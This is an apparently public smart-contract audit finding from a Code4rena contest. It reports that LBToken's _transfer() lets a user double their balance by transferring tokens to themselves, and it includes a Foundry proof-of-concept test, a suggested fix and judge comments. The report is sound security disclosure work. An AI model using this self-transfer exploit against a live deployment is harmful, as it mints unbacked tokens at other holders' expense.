Platform: Code4rena
Start Date: 14/10/2022
Pot Size: $100,000 USDC
Total HM: 12
Participants: 75
Period: 9 days
Judge: GalloDaSballo
Total Solo HM: 1
Id: 171
League: ETH
Rank: 59/75
Findings: 1
Award: $0.33
🌟 Selected for report: 0
🚀 Solo Findings: 0
0.3268 USDC - $0.33
The implementation of the _transfer()
function in LBToken.sol doesn't check for self-transfers, leading to users being able to mint an unlimited amount of tokens to themselves.
The function caches the balance of the sender (L182) and receiver (L188) before adding and deducing the balances on L181-198. This means that if the sender and receiver are the same address, the address will receive their previous balance + the sent amount, effectively minting tokens to themselves.
_fromBalance = 1000
, _toBalance = 1000
_balances[_id][_from] = _fromBalance (1000) - _amount (1000)
=> _balances[_id][_from] = 0
_balances[_id][_from] = _toBalance (1000) + _amount (1000)
=> _balances[_id][_to] = 2000
The below test case can be added to LBToken.t.sol
to confirm the exploit.
function testSelfTransfer() public { uint256 amountIn = 1e18; (uint256[] memory _ids, , , ) = addLiquidity(amountIn, ID_ONE, 5, 0); uint256[] memory amounts = new uint256[](5); for (uint256 i; i < 5; i++) { assertEq(pair.userPositionAtIndex(DEV, i), _ids[i]); amounts[i] = pair.balanceOf(DEV, _ids[i]); } assertEq(pair.userPositionNumber(DEV), 5); assertEq(pair.balanceOf(DEV, ID_ONE - 1), amountIn / 3); pair.safeTransferFrom(DEV, DEV, _ids[0], amounts[0]); // User has minted amounts[0] tokens to themselves, doubling their balance assertEq(pair.balanceOf(DEV, _ids[0]), amounts[0] * 2); }
Foundry, manual review
Add a check for self-transfers if (_from == _to) revert LBToken__SelfTransfer(_from)
, or don't use cached values on L181-198
#0 - trust1995
2022-10-23T20:58:14Z
Dup of #422
#1 - GalloDaSballo
2022-10-26T16:33:53Z
Example of short and sweet high quality report
#2 - GalloDaSballo
2022-10-26T16:35:08Z
#3 - c4-judge
2022-11-23T18:28:45Z
GalloDaSballo marked the issue as not a duplicate
#4 - c4-judge
2022-11-23T18:29:52Z
GalloDaSballo marked the issue as duplicate of #299
#5 - Simon-Busch
2022-12-05T06:38:46Z
Marked this issue as Satisfactory as requested by @GalloDaSballo